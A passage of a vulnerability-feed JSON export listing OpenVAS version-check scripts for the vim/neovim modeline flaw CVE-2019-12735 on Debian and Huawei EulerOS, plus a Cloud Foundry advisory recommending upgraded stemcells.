res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-athena\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-common\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-doc\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-gnome\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-gtk\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-gtk3\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-gui-common\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-nox\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-runtime\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"vim-tiny\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"xxd\", ver:\"2:8.0.0197-4+deb9u2\", rls:\"DEB9\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-27T18:36:09", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191699", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191699", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1699)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1699\");\n script_version(\"2020-01-23T12:20:18+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 12:20:18 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 12:20:18 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1699)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROSVIRTARM64-3\\.0\\.2\\.0\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1699\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1699\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'vim' package(s) announced via the EulerOS-SA-2019-1699 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution.(CVE-2019-12735)\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Huawei EulerOS Virtualization for ARM 64 3.0.2.0.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROSVIRTARM64-3.0.2.0\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~7.4.160~4.h5\", rls:\"EULEROSVIRTARM64-3.0.2.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~7.4.160~4.h5\", rls:\"EULEROSVIRTARM64-3.0.2.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~7.4.160~4.h5\", rls:\"EULEROSVIRTARM64-3.0.2.0\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~7.4.160~4.h5\", rls:\"EULEROSVIRTARM64-3.0.2.0\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-25T11:51:27", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the ", "modified": "2019-07-25T00:00:00", "published": "2019-07-25T00:00:00", "id": "OPENVAS:1361412562310704487", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310704487", "type": "openvas", "title": "Debian Security Advisory DSA 4487-1 (neovim - security update)", "sourceData": "# Copyright (C) 2019 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.704487\");\n script_version(\"2019-07-25T02:00:12+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-07-25 02:00:12 +0000 (Thu, 25 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2019-07-25 02:00:12 +0000 (Thu, 25 Jul 2019)\");\n script_name(\"Debian Security Advisory DSA 4487-1 (neovim - security update)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2019 Greenbone Networks GmbH\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB9\");\n\n script_xref(name:\"URL\", value:\"https://www.debian.org/security/2019/dsa-4487.html\");\n script_xref(name:\"URL\", value:\"https://security-tracker.debian.org/tracker/DSA-4487-1\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'neovim'\n package(s) announced via the DSA-4487-1 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"User Arminius\ndiscovered a vulnerability in Vim, an enhanced version of the\nstandard UNIX editor Vi (Vi IMproved), which also affected the Neovim fork, an\nextensible editor focused on modern code and features:\n\nEditors typically provide a way to embed editor configuration commands (aka\nmodelines) which are executed once a file is opened, while harmful commands\nare filtered by a sandbox mechanism. It was discovered that the source\n\ncommand (used to include and execute another file) was not filtered, allowing\nshell command execution with a carefully crafted file opened in Neovim.\");\n\n script_tag(name:\"affected\", value:\"'neovim' package(s) on Debian Linux.\");\n\n script_tag(name:\"solution\", value:\"For the oldstable distribution (stretch), this problem has been fixed\nin version 0.1.7-4+deb9u1.\n\nWe recommend that you upgrade your neovim packages.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"neovim\", ver:\"0.1.7-4+deb9u1\", rls:\"DEB9\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"neovim-runtime\", ver:\"0.1.7-4+deb9u1\", rls:\"DEB9\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-27T18:34:34", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191753", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191753", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1753)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1753\");\n script_version(\"2020-01-23T12:21:41+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 12:21:41 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 12:21:41 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1753)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP2\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1753\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1753\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'vim' package(s) announced via the EulerOS-SA-2019-1753 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution.(CVE-2019-12735)\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Huawei EulerOS V2.0SP2.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP2\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-X11\", rpm:\"vim-X11~7.4.160~2.h5\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~7.4.160~2.h5\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~7.4.160~2.h5\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~7.4.160~2.h5\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~7.4.160~2.h5\", rls:\"EULEROS-2.0SP2\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-27T18:34:31", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191690", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191690", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1690)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1690\");\n script_version(\"2020-01-23T12:20:04+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 12:20:04 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 12:20:04 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1690)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP5\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1690\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1690\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'vim' package(s) announced via the EulerOS-SA-2019-1690 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution.(CVE-2019-12735)\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Huawei EulerOS V2.0SP5.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP5\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-X11\", rpm:\"vim-X11~7.4.160~4.h5.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~7.4.160~4.h5.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~7.4.160~4.h5.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~7.4.160~4.h5.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~7.4.160~4.h5.eulerosv2r7\", rls:\"EULEROS-2.0SP5\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-27T18:36:22", "bulletinFamily": "scanner", "cvelist": ["CVE-2019-12735"], "description": "The remote host is missing an update for the Huawei EulerOS\n ", "modified": "2020-01-23T00:00:00", "published": "2020-01-23T00:00:00", "id": "OPENVAS:1361412562311220191997", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562311220191997", "type": "openvas", "title": "Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1997)", "sourceData": "# Copyright (C) 2020 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.1.2.2019.1997\");\n script_version(\"2020-01-23T12:30:23+0000\");\n script_cve_id(\"CVE-2019-12735\");\n script_tag(name:\"cvss_base\", value:\"9.3\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2020-01-23 12:30:23 +0000 (Thu, 23 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2020-01-23 12:30:23 +0000 (Thu, 23 Jan 2020)\");\n script_name(\"Huawei EulerOS: Security Advisory for vim (EulerOS-SA-2019-1997)\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2020 Greenbone Networks GmbH\");\n script_family(\"Huawei EulerOS Local Security Checks\");\n script_dependencies(\"gb_huawei_euleros_consolidation.nasl\");\n script_mandatory_keys(\"ssh/login/euleros\", \"ssh/login/rpms\", re:\"ssh/login/release=EULEROS-2\\.0SP3\");\n\n script_xref(name:\"EulerOS-SA\", value:\"2019-1997\");\n script_xref(name:\"URL\", value:\"https://developer.huaweicloud.com/ict/en/site-euleros/euleros/security-advisories/EulerOS-SA-2019-1997\");\n\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the Huawei EulerOS\n 'vim' package(s) announced via the EulerOS-SA-2019-1997 advisory.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable package version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"It was found that the `:source!` command was not restricted by the sandbox mode. If modeline was explicitly enabled, opening a specially crafted text file in vim could result in arbitrary command execution.(CVE-2019-12735)\");\n\n script_tag(name:\"affected\", value:\"'vim' package(s) on Huawei EulerOS V2.0SP3.\");\n\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\nreport = \"\";\n\nif(release == \"EULEROS-2.0SP3\") {\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-X11\", rpm:\"vim-X11~7.4.160~2.h6\", rls:\"EULEROS-2.0SP3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-common\", rpm:\"vim-common~7.4.160~2.h6\", rls:\"EULEROS-2.0SP3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-enhanced\", rpm:\"vim-enhanced~7.4.160~2.h6\", rls:\"EULEROS-2.0SP3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-filesystem\", rpm:\"vim-filesystem~7.4.160~2.h6\", rls:\"EULEROS-2.0SP3\"))) {\n report += res;\n }\n\n if(!isnull(res = isrpmvuln(pkg:\"vim-minimal\", rpm:\"vim-minimal~7.4.160~2.h6\", rls:\"EULEROS-2.0SP3\"))) {\n report += res;\n }\n\n if(report != \"\") {\n security_message(data:report);\n } else if (__pkg_match) {\n exit(99);\n }\n exit(0);\n}\n\nexit(0);", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "cloudfoundry": [{"lastseen": "2019-06-20T00:43:10", "bulletinFamily": "software", "cvelist": ["CVE-2019-12735", "CVE-2017-5953"], "description": "# \n\n# Severity\n\nMedium\n\n# Vendor\n\nCanonical Ubuntu\n\n# Versions Affected\n\n * Canonical Ubuntu 16.04\n * Canonical Ubuntu 18.04\n\n# Description\n\nIt was discovered that Vim incorrectly handled certain files. An attacker could possibly use this issue to execute arbitrary code. This issue only affected Ubuntu 16.04 LTS. (CVE-2017-5953)\n\nIt was discovered that Vim incorrectly handled certain files. An attacker could possibly use this issue to execute arbitrary code. (CVE-2019-12735)\n\nCVEs contained in this USN include: CVE-2017-5953, CVE-2019-12735\n\n# Affected Cloud Foundry Products and Versions\n\n_Severity is medium unless otherwise noted._\n\n * Cloud Foundry BOSH xenial-stemcells are vulnerable, including: \n * 315.x versions prior to 315.41\n * 250.x versions prior to 250.63\n * 170.x versions prior to 170.82\n * 97.x versions prior to 97.113\n * All other stemcells not listed.\n * All versions of Cloud Foundry cflinuxfs3 prior to 0.101.0\n\n# Mitigation\n\nUsers of affected products are strongly encouraged to follow one of the mitigations below:\n\n * The Cloud Foundry project recommends upgrading the following BOSH xenial-stemcells: \n * Upgrade 315.x versions to 315.41\n * Upgrade 250.x versions to 250.63\n * Upgrade 170.x versions to 170.82\n * Upgrade 97.x versions to 97.113\n * All other stemcells should be upgraded to the latest version available on [bosh.io](<https://bosh.io/stemcells/#ubuntu-xenial>).\n * The Cloud Foundry project recommends that Cloud Foundry deployments run with cflinuxfs3 version 0.101.0 or later.\n\n# References\n\n * [USN-4016-1](<https://usn.ubuntu.com/4016-1>)\n * [CVE-2017-5953](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5953>)\n * [CVE-2019-12735](<https://people.canonical.com/~ubuntu-security/cve/CVE-2019-12735>)\n", "edition": 1, "modified": "2019-06-18T00:00:00", "published": "2019-06-18T00:00:00", "id": "CFOUNDRY:50F25932FA5877A55F0D302B16693551", "href": "https://www.cloudfoundry.org/blog/usn-4016-1/", "title": "USN-4016-1: Vim vulnerabilities | Cloud Foundry", "type": "cloudfoundry", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}]}
